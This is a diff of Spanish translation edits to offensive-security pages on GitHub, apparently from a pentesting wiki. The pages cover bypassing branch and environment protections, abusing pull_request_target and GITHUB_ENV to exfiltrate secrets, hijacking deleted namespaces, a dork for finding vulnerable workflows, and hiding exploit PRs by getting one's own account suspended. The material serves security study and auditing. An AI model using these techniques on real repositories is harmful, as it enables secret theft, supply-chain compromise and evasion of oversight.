+- **Políticas de acciones de Github**: Te permite indicar qué repositorios pueden ejecutar flujos de trabajo y qué flujos de trabajo deben ser permitidos. Se recomienda **especificar qué repositorios** deben ser permitidos y no permitir que todas las acciones se ejecuten.
 - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
 - **Flujos de trabajo de solicitudes de extracción de forks de colaboradores externos**: Se recomienda **requerir aprobación para todos** los colaboradores externos.
 - _No pude encontrar una API con esta información, comparte si lo haces_
-- **Ejecutar flujos de trabajo desde solicitudes de extracción de forks**: Es **altamente desaconsejado ejecutar flujos de trabajo desde solicitudes de extracción** ya que los mantenedores del fork de origen tendrán la capacidad de usar tokens con permisos de lectura en el repositorio fuente.
+- **Ejecutar flujos de trabajo desde solicitudes de extracción de forks**: Es **muy desaconsejado ejecutar flujos de trabajo desde solicitudes de extracción** ya que los mantenedores del fork de origen tendrán la capacidad de usar tokens con permisos de lectura en el repositorio fuente.
 - _No pude encontrar una API con esta información, comparte si lo haces_
-- **Permisos de flujo de trabajo**: Se recomienda **dar solo permisos de lectura de repositorio**. Se desaconseja dar permisos de escritura y crear/aprobar solicitudes de extracción para evitar el abuso del GITHUB_TOKEN dado a los flujos de trabajo en ejecución.
+- **Permisos de flujo de trabajo**: Se recomienda **dar solo permisos de lectura del repositorio**. Se desaconseja dar permisos de escritura y crear/aprobar solicitudes de extracción para evitar el abuso del GITHUB_TOKEN dado a los flujos de trabajo en ejecución.
 - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
 
 ### Integraciones
@@ -116,7 +116,7 @@ Ten en cuenta que **se puede usar 2FA**, por lo que solo podrás acceder a esta
 > [!NOTE]
 > Ten en cuenta que si **logras robar la cookie `user_session`** (actualmente configurada con SameSite: Lax) puedes **suplantar completamente al usuario** sin necesidad de credenciales o 2FA.
 
-Consulta la sección a continuación sobre [**elusión de protecciones de ramas**](./#branch-protection-bypass) en caso de que sea útil.
+Consulta la sección a continuación sobre [**eliminaciones de protección de ramas**](./#branch-protection-bypass) en caso de que sea útil.
 
 ### Con Clave SSH de Usuario
 
@@ -144,7 +144,7 @@ gpg --list-secret-keys --keyid-format=long
 
 Para una introducción sobre [**Tokens de Usuario consulta la información básica**](basic-github-information.md#personal-access-tokens).
 
-Un token de usuario puede ser utilizado **en lugar de una contraseña** para Git a través de HTTPS, o puede ser utilizado para [**autenticarse en la API a través de la Autenticación Básica**](https://docs.github.com/v3/auth/#basic-authentication). Dependiendo de los privilegios adjuntos a él, podrías ser capaz de realizar diferentes acciones.
+Un token de usuario puede ser utilizado **en lugar de una contraseña** para Git sobre HTTPS, o puede ser utilizado para [**autenticarse en la API a través de la Autenticación Básica**](https://docs.github.com/v3/auth/#basic-authentication). Dependiendo de los privilegios asociados, podrías realizar diferentes acciones.
 
 Un token de usuario se ve así: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
 
@@ -152,19 +152,19 @@ Un token de usuario se ve así: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
 
 Para una introducción sobre [**Aplicaciones Oauth de Github consulta la información básica**](basic-github-information.md#oauth-applications).
 
-Un atacante podría crear una **Aplicación Oauth maliciosa** para acceder a datos/acciones privilegiadas de los usuarios que las aceptan probablemente como parte de una campaña de phishing.
+Un atacante podría crear una **Aplicación Oauth maliciosa** para acceder a datos/acciones privilegiadas de los usuarios que las aceptan, probablemente como parte de una campaña de phishing.
 
 Estos son los [alcances que una aplicación Oauth puede solicitar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Siempre se debe verificar los alcances solicitados antes de aceptarlos.
 
-Además, como se explicó en la información básica, **las organizaciones pueden dar/denegar acceso a aplicaciones de terceros** a información/repos/acciones relacionadas con la organización.
+Además, como se explica en la información básica, **las organizaciones pueden otorgar/denegar acceso a aplicaciones de terceros** a información/repos/acciones relacionadas con la organización.
 
 ### Con Aplicación de Github
 
 Para una introducción sobre [**Aplicaciones de Github consulta la información básica**](basic-github-information.md#github-applications).
 
-Un atacante podría crear una **Aplicación de Github maliciosa** para acceder a datos/acciones privilegiadas de los usuarios que las aceptan probablemente como parte de una campaña de phishing.
+Un atacante podría crear una **Aplicación de Github maliciosa** para acceder a datos/acciones privilegiadas de los usuarios que las aceptan, probablemente como parte de una campaña de phishing.
 
-Además, como se explicó en la información básica, **las organizaciones pueden dar/denegar acceso a aplicaciones de terceros** a información/repos/acciones relacionadas con la organización.
+Además, como se explica en la información básica, **las organizaciones pueden otorgar/denegar acceso a aplicaciones de terceros** a información/repos/acciones relacionadas con la organización.
 
 ## Compromiso y Abuso de Github Action
 
@@ -176,7 +176,7 @@ abusing-github-actions/
 
 ## Bypass de Protección de Ramas
 
-- **Requerir un número de aprobaciones**: Si has comprometido varias cuentas, podrías simplemente aceptar tus PRs desde otras cuentas. Si solo tienes la cuenta desde donde creaste el PR, no puedes aceptar tu propio PR. Sin embargo, si tienes acceso a un **entorno de Github Action** dentro del repositorio, usando el **GITHUB_TOKEN** podrías ser capaz de **aprobar tu PR** y obtener 1 aprobación de esta manera.
+- **Requerir un número de aprobaciones**: Si has comprometido varias cuentas, podrías aceptar tus PRs desde otras cuentas. Si solo tienes la cuenta desde donde creaste el PR, no puedes aceptar tu propio PR. Sin embargo, si tienes acceso a un entorno de **Github Action** dentro del repositorio, usando el **GITHUB_TOKEN** podrías **aprobar tu PR** y obtener 1 aprobación de esta manera.
 - _Nota para esto y para la restricción de Propietarios de Código que generalmente un usuario no podrá aprobar sus propios PRs, pero si puedes, puedes abusar de ello para aceptar tus PRs._
 - **Desestimar aprobaciones cuando se envían nuevos commits**: Si esto no está configurado, puedes enviar código legítimo, esperar a que alguien lo apruebe, y luego poner código malicioso y fusionarlo en la rama protegida.
 - **Requerir revisiones de Propietarios de Código**: Si esto está activado y eres un Propietario de Código, podrías hacer que un **Github Action cree tu PR y luego lo apruebes tú mismo**.
@@ -184,17 +184,17 @@ abusing-github-actions/
 - **Permitir que actores especificados eviten los requisitos de solicitud de extracción**: Si eres uno de estos actores, puedes eludir las protecciones de solicitud de extracción.
 - **Incluir administradores**: Si esto no está configurado y eres administrador del repositorio, puedes eludir estas protecciones de rama.
 - **Secuestro de PR**: Podrías ser capaz de **modificar el PR de otra persona** añadiendo código malicioso, aprobando el PR resultante tú mismo y fusionando todo.
-- **Eliminar Protecciones de Ramas**: Si eres un **administrador del repositorio, puedes desactivar las protecciones**, fusionar tu PR y volver a establecer las protecciones.
+- **Eliminar Protecciones de Ramas**: Si eres un **administrador del repositorio, puedes desactivar las protecciones**, fusionar tu PR y restablecer las protecciones.
 - **Eludir protecciones de push**: Si un repositorio **solo permite ciertos usuarios** enviar push (fusionar código) en ramas (la protección de rama podría estar protegiendo todas las ramas especificando el comodín `*`).
-- Si tienes **acceso de escritura sobre el repositorio pero no se te permite enviar código** debido a la protección de rama, aún puedes **crear una nueva rama** y dentro de ella crear un **github action que se activa cuando se envía código**. Como la **protección de rama no protegerá la rama hasta que se cree**, este primer push de código a la rama **ejecutará el github action**.
+- Si tienes **acceso de escritura sobre el repositorio pero no se te permite enviar código** debido a la protección de rama, aún puedes **crear una nueva rama** y dentro de ella crear un **github action que se activa cuando se envía código**. Como la **protección de rama no protegerá la rama hasta que se cree**, este primer envío de código a la rama **ejecutará el github action**.
 
-## Bypass de Protecciones de Entornos
+## Eludir Protecciones de Entornos
 
 Para una introducción sobre [**Entorno de Github consulta la información básica**](basic-github-information.md#git-environments).
 
 En caso de que un entorno pueda ser **accedido desde todas las ramas**, **no está protegido** y puedes acceder fácilmente a los secretos dentro del entorno. Ten en cuenta que podrías encontrar repos donde **todas las ramas están protegidas** (especificando sus nombres o usando `*`), en ese escenario, **encuentra una rama donde puedas enviar código** y puedes **exfiltrar** los secretos creando un nuevo github action (o modificando uno).
 
-Ten en cuenta que podrías encontrar el caso extremo donde **todas las ramas están protegidas** (a través del comodín `*`) se especifica **quién puede enviar código a las ramas** (_puedes especificar eso en la protección de rama_) y **tu usuario no está permitido**. Aún puedes ejecutar un github action personalizado porque puedes crear una rama y usar el trigger de push sobre sí misma. La **protección de rama permite el push a una nueva rama, por lo que el github action será activado**.
+Ten en cuenta que podrías encontrar el caso extremo donde **todas las ramas están protegidas** (a través del comodín `*`) se especifica **quién puede enviar código a las ramas** (_puedes especificar eso en la protección de rama_) y **tu usuario no está permitido**. Aún puedes ejecutar un github action personalizado porque puedes crear una rama y usar el disparador de push sobre sí misma. La **protección de rama permite el push a una nueva rama, por lo que el github action será activado**.
 ```yaml
 push: # Run it when a push is made to a branch
 branches:
@@ -212,11 +212,11 @@ Nota que **después de la creación** de la rama, la **protección de la rama se
 - Invitar a **colaboradores externos**
 - **Eliminar** **webhooks** utilizados por el **SIEM**
 - Crear/modificar **Github Action** con una **puerta trasera**
-- Encontrar **Github Action vulnerable a inyección de comandos** mediante la modificación del valor de **secreto**
+- Encontrar **Github Action vulnerable a inyección de comandos** a través de la modificación del valor de **secreto**
 
 ### Commits de impostor - Puerta trasera a través de commits de repositorio
 
-En Github es posible **crear un PR a un repositorio desde un fork**. Incluso si el PR **no es aceptado**, se va a crear un **commit** id dentro del repositorio original para la versión fork del código. Por lo tanto, un atacante **podría fijar el uso de un commit específico de un repositorio aparentemente legítimo que no fue creado por el propietario del repositorio**.
+En Github es posible **crear un PR a un repositorio desde un fork**. Incluso si el PR **no es aceptado**, se va a crear un id de **commit** dentro del repositorio original para la versión fork del código. Por lo tanto, un atacante **podría fijar el uso de un commit específico de un repositorio aparentemente legítimo que no fue creado por el propietario del repositorio**.
 
 Como [**este**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
 ```yaml

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -1,20 +1,20 @@
-# Abusing Github Actions
+# Abusando de Github Actions
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Información Básica
 
 En esta página encontrarás:
 
 - Un **resumen de todos los impactos** de un atacante que logra acceder a una Github Action
-- Diferentes formas de **obtener acceso a una acción**:
+- Diferentes formas de **acceder a una acción**:
 - Tener **permisos** para crear la acción
 - Abusar de los **triggers** relacionados con **pull requests**
 - Abusar de **otras técnicas de acceso externo**
 - **Pivotar** desde un repositorio ya comprometido
-- Finalmente, una sección sobre **técnicas de post-explotación para abusar de una acción desde adentro** (causar los impactos mencionados)
+- Finalmente, una sección sobre **técnicas de post-explotación para abusar de una acción desde adentro** (causando los impactos mencionados)
 
-## Impacts Summary
+## Resumen de Impactos
 
 Para una introducción sobre [**Github Actions consulta la información básica**](../basic-github-information.md#github-actions).
 
@@ -81,7 +81,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> Tenga en cuenta que en varias ocasiones podrá encontrar **tokens de usuario de github dentro de los entornos de Github Actions o en los secretos**. Estos tokens pueden otorgarle más privilegios sobre el repositorio y la organización.
+> Ten en cuenta que en varias ocasiones podrás encontrar **tokens de usuario de github dentro de los entornos de Github Actions o en los secretos**. Estos tokens pueden darte más privilegios sobre el repositorio y la organización.
 
 <details>
 
@@ -147,13 +147,13 @@ Es posible verificar los permisos otorgados a un Github Token en los repositorio
 
 ### Ejecución desde la Creación de un Repositorio
 
-En caso de que los miembros de una organización puedan **crear nuevos repositorios** y tú puedas ejecutar acciones de github, puedes **crear un nuevo repositorio y robar los secretos establecidos a nivel de organización**.
+En caso de que los miembros de una organización puedan **crear nuevos repos**, y tú puedas ejecutar acciones de github, puedes **crear un nuevo repositorio y robar los secretos establecidos a nivel de organización**.
 
 ### Ejecución desde una Nueva Rama
 
 Si puedes **crear una nueva rama en un repositorio que ya contiene una Acción de Github** configurada, puedes **modificarla**, **subir** el contenido y luego **ejecutar esa acción desde la nueva rama**. De esta manera, puedes **exfiltrar secretos a nivel de repositorio y organización** (pero necesitas saber cómo se llaman).
 
-Puedes hacer que la acción modificada sea ejecutable **manualmente**, cuando se **crea un PR** o cuando **se sube algún código** (dependiendo de cuán ruidoso quieras ser):
+Puedes hacer que la acción modificada sea ejecutable **manualmente,** cuando se **crea un PR** o cuando **se sube algún código** (dependiendo de cuán ruidoso quieras ser):
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -174,16 +174,16 @@ branches:
 
 ### `pull_request`
 
-El desencadenador del flujo de trabajo **`pull_request`** ejecutará el flujo de trabajo cada vez que se reciba una solicitud de extracción con algunas excepciones: por defecto, si es la **primera vez** que estás **colaborando**, algún **mantenedor** necesitará **aprobar** la **ejecución** del flujo de trabajo:
+El desencadenador de flujo de trabajo **`pull_request`** ejecutará el flujo de trabajo cada vez que se reciba una solicitud de extracción con algunas excepciones: por defecto, si es la **primera vez** que estás **colaborando**, algún **mantenedor** necesitará **aprobar** la **ejecución** del flujo de trabajo:
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> Dado que la **limitación predeterminada** es para **contribuyentes primerizos**, podrías contribuir **corrigiendo un error/tipografía válido** y luego enviar **otras PRs para abusar de tus nuevos privilegios de `pull_request`**.
+> Como la **limitación predeterminada** es para **contribuyentes primerizos**, podrías contribuir **corrigiendo un error/tipografía válido** y luego enviar **otras PRs para abusar de tus nuevos privilegios de `pull_request`**.
 >
 > **Probé esto y no funciona**: ~~Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminó su cuenta.~~
 
-Además, por defecto **previene permisos de escritura** y **acceso a secretos** en el repositorio objetivo como se menciona en la [**documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Además, por defecto **previene permisos de escritura** y **acceso a secretos** en el repositorio objetivo, como se menciona en la [**documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
 
 > Con la excepción de `GITHUB_TOKEN`, **los secretos no se pasan al runner** cuando un flujo de trabajo es desencadenado desde un repositorio **forked**. El **`GITHUB_TOKEN` tiene permisos de solo lectura** en solicitudes de extracción **de repositorios forked**.
 
@@ -196,12 +196,12 @@ Como el atacante también controla el código que se ejecuta, incluso si no hay
 
 ### **`pull_request_target`**
 
-El desencadenador del flujo de trabajo **`pull_request_target`** tiene **permiso de escritura** en el repositorio objetivo y **acceso a secretos** (y no pide permiso).
+El desencadenador de flujo de trabajo **`pull_request_target`** tiene **permiso de escritura** en el repositorio objetivo y **acceso a secretos** (y no pide permiso).
 
-Ten en cuenta que el desencadenador del flujo de trabajo **`pull_request_target`** **se ejecuta en el contexto base** y no en el proporcionado por la PR (para **no ejecutar código no confiable**). Para más información sobre `pull_request_target`, [**consulta la documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Ten en cuenta que el desencadenador de flujo de trabajo **`pull_request_target`** **se ejecuta en el contexto base** y no en el proporcionado por la PR (para **no ejecutar código no confiable**). Para más información sobre `pull_request_target`, [**consulta la documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
 Además, para más información sobre este uso específico y peligroso, consulta este [**post del blog de github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
 
-Puede parecer que como el **flujo de trabajo ejecutado** es el definido en la **base** y **no en la PR**, es **seguro** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**.
+Puede parecer que, dado que el **flujo de trabajo ejecutado** es el definido en la **base** y **no en la PR**, es **seguro** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**.
 
 Y este tendrá **acceso a secretos**.
 
@@ -241,7 +241,7 @@ En el caso de un flujo de trabajo que utiliza **`pull_request_target` o `workflo
 > [!CAUTION]
 > Sin embargo, si la **acción** tiene un **checkout de PR explícito** que **obtendrá el código del PR** (y no de la base), utilizará el código controlado por el atacante. Por ejemplo (ver línea 12 donde se descarga el código del PR):
 
-<pre class="language-yaml"><code class="lang-yaml"># INSEGURO. Proporcionado solo como un ejemplo.
+<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Proporcionado solo como un ejemplo.
 on:
 pull_request_target
 
@@ -269,10 +269,10 @@ message: |
 ¡Gracias!
 </code></pre>
 
-El código potencialmente **no confiable se está ejecutando durante `npm install` o `npm build`** ya que los scripts de construcción y los **paquetes referenciados son controlados por el autor del PR**.
+El código **no confiable potencialmente se está ejecutando durante `npm install` o `npm build`** ya que los scripts de construcción y los **paquetes referenciados son controlados por el autor del PR**.
 
 > [!WARNING]
-> Un dork de github para buscar acciones vulnerables es: `event.pull_request pull_request_target extension:yml` sin embargo, hay diferentes formas de configurar los trabajos para que se ejecuten de manera segura incluso si la acción está configurada de manera insegura (como usar condicionales sobre quién es el actor que genera el PR).
+> Un dork de github para buscar acciones vulnerables es: `event.pull_request pull_request_target extension:yml`, sin embargo, hay diferentes formas de configurar los trabajos para que se ejecuten de manera segura incluso si la acción está configurada de manera insegura (como usar condicionales sobre quién es el actor que genera el PR).
 
 ### Inyecciones de Script en Contexto <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
@@ -284,7 +284,7 @@ gh-actions-context-script-injections.md
 
 ### **Inyección de Script GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-De la documentación: Puede hacer que una **variable de entorno esté disponible para cualquier paso posterior** en un trabajo de flujo de trabajo definiendo o actualizando la variable de entorno y escribiendo esto en el archivo de entorno **`GITHUB_ENV`**.
+Según la documentación: Puede hacer que una **variable de entorno esté disponible para cualquier paso posterior** en un trabajo de flujo de trabajo definiendo o actualizando la variable de entorno y escribiendo esto en el archivo de entorno **`GITHUB_ENV`**.
 
 Si un atacante pudiera **inyectar cualquier valor** dentro de esta variable **env**, podría inyectar variables de entorno que podrían ejecutar código en pasos posteriores como **LD_PRELOAD** o **NODE_OPTIONS**.
 
@@ -344,12 +344,12 @@ path: ./script.py
 
 ### Secuestro de Repositorio de Namespace Eliminado
 
-Si una cuenta cambia su nombre, otro usuario podría registrar una cuenta con ese nombre después de un tiempo. Si un repositorio tenía **menos de 100 estrellas antes del cambio de nombre**, Github permitirá que el nuevo usuario registrado con el mismo nombre cree un **repositorio con el mismo nombre** que el que fue eliminado.
+Si una cuenta cambia su nombre, otro usuario podría registrar una cuenta con ese nombre después de un tiempo. Si un repositorio tenía **menos de 100 estrellas antes del cambio de nombre**, Github permitirá que el nuevo usuario registrado con el mismo nombre cree un **repositorio con el mismo nombre** que el eliminado.
 
 > [!CAUTION]
-> Así que si una acción está utilizando un repositorio de una cuenta que no existe, aún es posible que un atacante pueda crear esa cuenta y comprometer la acción.
+> Así que si una acción está utilizando un repositorio de una cuenta no existente, aún es posible que un atacante pueda crear esa cuenta y comprometer la acción.
 
-Si otros repositorios estaban utilizando **dependencias de estos repositorios de usuario**, un atacante podrá secuestrarlos. Aquí tienes una explicación más completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Si otros repositorios estaban utilizando **dependencias de los repositorios de este usuario**, un atacante podrá secuestrarlos. Aquí tienes una explicación más completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
@@ -480,7 +480,7 @@ Consulta [**esta publicación para más información**](https://karimrahal.com/2
 ### Registro de Imágenes Docker de Github
 
 Es posible crear acciones de Github que **construyan y almacenen una imagen Docker dentro de Github**.\
-Un ejemplo se puede encontrar en el siguiente desplegable:
+Un ejemplo se puede encontrar en el siguiente expandible:
 
 <details>
 
@@ -534,9 +534,9 @@ Incluso si **Github** intenta **detectar valores secretos** en los registros de
 
 ## Cubriendo tus Huellas
 
-(Técnica de [**aquí**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primero que nada, cualquier PR levantada es claramente visible al público en Github y a la cuenta de GitHub objetivo. En GitHub, por defecto, **no podemos eliminar un PR de internet**, pero hay un giro. Para las cuentas de Github que están **suspendidas** por Github, todos sus **PRs son automáticamente eliminados** y retirados de internet. Así que, para ocultar tu actividad, necesitas o bien hacer que tu **cuenta de GitHub sea suspendida o que tu cuenta sea marcada**. Esto **ocultará todas tus actividades** en GitHub de internet (básicamente eliminará todos tus PR de explotación).
+(Técnica de [**aquí**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primero que nada, cualquier PR levantada es claramente visible al público en Github y a la cuenta de GitHub objetivo. En GitHub, por defecto, **no podemos eliminar un PR de internet**, pero hay un giro. Para las cuentas de Github que están **suspendidas** por Github, todos sus **PRs son eliminados automáticamente** y removidos de internet. Así que, para ocultar tu actividad, necesitas o bien hacer que tu **cuenta de GitHub sea suspendida o que tu cuenta sea marcada**. Esto **ocultará todas tus actividades** en GitHub de internet (básicamente eliminará todos tus PR de explotación).
 
-Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir "algunas cosas" en un Issue y se asegurarán de que tu cuenta sea suspendida en 12 horas :p y ahí lo tienes, has hecho tu explotación invisible en github.
+Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir “algunas cosas” en un Issue y se asegurarán de que tu cuenta sea suspendida en 12 horas :p y ahí lo tienes, has hecho tu explotación invisible en github.
 
 > [!WARNING]
 > La única forma en que una organización puede darse cuenta de que ha sido objetivo es revisar los registros de GitHub desde SIEM, ya que desde la interfaz de GitHub el PR sería eliminado.

src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md

@@ -1 +1 @@
-# GH Actions - Cache Poisoning
+# GH Actions - Envenenamiento de Caché

src/pentesting-ci-cd/github-security/basic-github-information.md

@@ -16,17 +16,17 @@ Y finalmente, **los repositorios pueden tener mecanismos de protección especial
 
 ### Roles de Empresa
 
-- **Propietario de la empresa**: Las personas con este rol pueden **gestionar administradores, gestionar organizaciones dentro de la empresa, gestionar configuraciones de la empresa, hacer cumplir políticas en las organizaciones**. Sin embargo, **no pueden acceder a la configuración o contenido de la organización** a menos que se les designe como propietario de la organización o se les otorgue acceso directo a un repositorio de la organización.
-- **Miembros de la empresa**: Los miembros de las organizaciones propiedad de tu empresa también son **automáticamente miembros de la empresa**.
+- **Propietario de la empresa**: Las personas con este rol pueden **gestionar administradores, gestionar organizaciones dentro de la empresa, gestionar configuraciones de la empresa, hacer cumplir políticas a través de organizaciones**. Sin embargo, **no pueden acceder a la configuración o contenido de la organización** a menos que se les asigne como propietario de la organización o se les dé acceso directo a un repositorio de la organización.
+- **Miembros de la empresa**: Los miembros de organizaciones propiedad de tu empresa también son **miembros automáticos de la empresa**.
 
 ### Roles de Organización
 
 En una organización, los usuarios pueden tener diferentes roles:
 
 - **Propietarios de la organización**: Los propietarios de la organización tienen **acceso administrativo completo a tu organización**. Este rol debe ser limitado, pero no a menos de dos personas, en tu organización.
-- **Miembros de la organización**: El rol **predeterminado**, no administrativo para **las personas en una organización** es el miembro de la organización. Por defecto, los miembros de la organización **tienen una serie de permisos**.
+- **Miembros de la organización**: El rol **predeterminado**, no administrativo para **personas en una organización** es el miembro de la organización. Por defecto, los miembros de la organización **tienen una serie de permisos**.
 - **Gerentes de facturación**: Los gerentes de facturación son usuarios que pueden **gestionar la configuración de facturación de tu organización**, como la información de pago.
-- **Gerentes de Seguridad**: Es un rol que los propietarios de la organización pueden asignar a cualquier equipo en una organización. Cuando se aplica, otorga a cada miembro del equipo permisos para **gestionar alertas de seguridad y configuraciones en toda tu organización, así como permisos de lectura para todos los repositorios** en la organización.
+- **Gerentes de Seguridad**: Es un rol que los propietarios de la organización pueden asignar a cualquier equipo en una organización. Cuando se aplica, otorga a cada miembro del equipo permisos para **gestionar alertas y configuraciones de seguridad en tu organización, así como permisos de lectura para todos los repositorios** en la organización.
 - Si tu organización tiene un equipo de seguridad, puedes usar el rol de gerente de seguridad para dar a los miembros del equipo el acceso mínimo que necesitan a la organización.
 - **Gerentes de Aplicaciones de Github**: Para permitir que usuarios adicionales **gestione las Aplicaciones de GitHub propiedad de una organización**, un propietario puede otorgarles permisos de gerente de Aplicaciones de GitHub.
 - **Colaboradores externos**: Un colaborador externo es una persona que tiene **acceso a uno o más repositorios de la organización pero no es explícitamente un miembro** de la organización.
@@ -37,7 +37,7 @@ Puedes **comparar los permisos** de estos roles en esta tabla: [https://docs.git
 
 En _https://github.com/organizations/\<org_name>/settings/member_privileges_ puedes ver los **permisos que los usuarios tendrán solo por ser parte de la organización**.
 
-La configuración aquí configurada indicará los siguientes permisos de los miembros de la organización:
+La configuración aquí indicada indicará los siguientes permisos de los miembros de la organización:
 
 - Ser administrador, escritor, lector o sin permiso sobre todos los repositorios de la organización.
 - Si los miembros pueden crear repositorios privados, internos o públicos.
@@ -63,7 +63,7 @@ También puedes **crear tus propios roles** en _https://github.com/organizations
 
 ### Equipos
 
-Puedes **listar los equipos creados en una organización** en _https://github.com/orgs/\<org_name>/teams_. Ten en cuenta que para ver los equipos que son hijos de otros equipos necesitas acceder a cada equipo padre.
+Puedes **listar los equipos creados en una organización** en _https://github.com/orgs/\<org_name>/teams_. Ten en cuenta que para ver los equipos que son hijos de otros equipos, necesitas acceder a cada equipo padre.
 
 ### Usuarios
 
@@ -97,7 +97,7 @@ Las aplicaciones Oauth pueden pedirte permisos **para acceder a parte de tu info
 
 - Puedes **crear** tus propias **aplicaciones Oauth** en [https://github.com/settings/developers](https://github.com/settings/developers)
 - Puedes ver todas las **aplicaciones Oauth que tienen acceso a tu cuenta** en [https://github.com/settings/applications](https://github.com/settings/applications)
-- Puedes ver los **alcances que las Aplicaciones Oauth pueden solicitar** en [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Puedes ver los **alcances que las Apps Oauth pueden solicitar** en [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
 - Puedes ver el acceso de terceros de aplicaciones en una **organización** en _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
 
 Algunas **recomendaciones de seguridad**:
@@ -116,18 +116,18 @@ Las aplicaciones de Github pueden pedir permisos para **acceder a tu informació
 - La Aplicación de GitHub debe **conectarse a una cuenta personal o a una organización**.
 - Puedes crear tu propia aplicación de Github en [https://github.com/settings/apps](https://github.com/settings/apps)
 - Puedes ver todas las **aplicaciones de Github que tienen acceso a tu cuenta** en [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- Estos son los **Puntos de API para Aplicaciones de Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependiendo de los permisos de la Aplicación, podrá acceder a algunos de ellos.
-- Puedes ver las aplicaciones instaladas en una **organización** en _https://github.com/organizations/\<org_name>/settings/installations_
+- Estos son los **Puntos de Acceso API para Aplicaciones de Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependiendo de los permisos de la Aplicación, podrá acceder a algunos de ellos.
+- Puedes ver aplicaciones instaladas en una **organización** en _https://github.com/organizations/\<org_name>/settings/installations_
 
 Algunas recomendaciones de seguridad:
 
-- Una Aplicación de GitHub debe **realizar acciones de manera independiente de un usuario** (a menos que la aplicación esté utilizando un token [de usuario a servidor](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para mantener los tokens de acceso de usuario a servidor más seguros, puedes usar tokens de acceso que expiren después de 8 horas, y un token de actualización que se puede intercambiar por un nuevo token de acceso. Para más información, consulta "[Actualizando tokens de acceso de usuario a servidor](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Una Aplicación de GitHub debe **realizar acciones de forma independiente de un usuario** (a menos que la aplicación esté utilizando un token [de usuario a servidor](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para mantener los tokens de acceso de usuario a servidor más seguros, puedes usar tokens de acceso que expiren después de 8 horas, y un token de actualización que se puede intercambiar por un nuevo token de acceso. Para más información, consulta "[Actualizando tokens de acceso de usuario a servidor](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
 - Asegúrate de que la Aplicación de GitHub se integre con **repositorios específicos**.
 - La Aplicación de GitHub debe **conectarse a una cuenta personal o a una organización**.
 - No esperes que la Aplicación de GitHub sepa y haga todo lo que un usuario puede.
 - **No uses una Aplicación de GitHub si solo necesitas un servicio de "Inicio de sesión con GitHub"**. Pero una Aplicación de GitHub puede usar un [flujo de identificación de usuario](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para iniciar sesión a los usuarios _y_ hacer otras cosas.
 - No construyas una Aplicación de GitHub si _solo_ deseas actuar como un usuario de GitHub y hacer todo lo que ese usuario puede hacer.
-- Si estás utilizando tu aplicación con GitHub Actions y deseas modificar archivos de flujo de trabajo, debes autenticarte en nombre del usuario con un token OAuth que incluya el alcance `workflow`. El usuario debe tener permisos de administrador o escritura en el repositorio que contiene el archivo de flujo de trabajo. Para más información, consulta "[Entendiendo los alcances para aplicaciones OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
